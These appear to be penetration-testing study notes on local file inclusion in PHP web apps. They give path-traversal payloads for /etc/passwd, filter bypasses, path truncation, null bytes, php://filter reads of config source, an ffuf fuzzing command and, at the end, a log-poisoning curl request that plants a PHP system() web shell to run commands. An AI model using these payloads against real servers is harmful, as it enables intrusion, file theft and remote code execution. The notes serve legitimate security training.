9. File Inclusion

Vulnerable Functions

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

use Command Injection to bypass blacklisted charaters

Basic

http://<SERVER_IP>:<PORT>/index.php?language=es.php

Path Traversal

include("./languages/" . $_GET['language']);

http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd

Filename Prefix

Add / to terminate prefix.

include("lang_" . $_GET['language']);



http://<SERVER_IP>:<PORT>/index.php?language=../../../etc/passwd

Appended Extensions

Search for file with that specific extensions.

include($_GET['language'] . ".php");

The application could search for application with extension. 

Basic Bypass

Non-Recursive Path Traversal Filters

Deleting ../

$language = str_replace('../', '', $_GET['language']);

Try

....//
..././ 
....\/ 
....////
 

Encoding

DO URL encode

Approved Paths

Only allow specific path (e.g. ./language)

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

Incorporate the approved path

<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Appended Extension

obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4.

Path Truncation

In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored.

?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]


echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././

Null Bytes

PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.

 /etc/passwd%00)

PHP Filters

PHP Wrappers
https://www.php.net/manual/en/wrappers.php.php

4 Filters
String
https://www.php.net/manual/en/filters.string.php
Conversion
https://www.php.net/manual/en/filters.convert.php
Compression
https://www.php.net/manual/en/filters.compression.php
Encryption
https://www.php.net/manual/en/filters.encryption.php

Step 1.
Fuzz for different php pages.

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

Step 2

php://filter/read=convert.base64-encode/resource=config

http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config

contact
error
about
index
main
industries
ilf_admin/index.php

curl 'http://test:36381/ilf_admin/index.php?log==../../../../../../../var/log/nginx/access.log&cmd=id' -H 'User-Agent: <?php system($_GET[\"cmd\"]); ?>'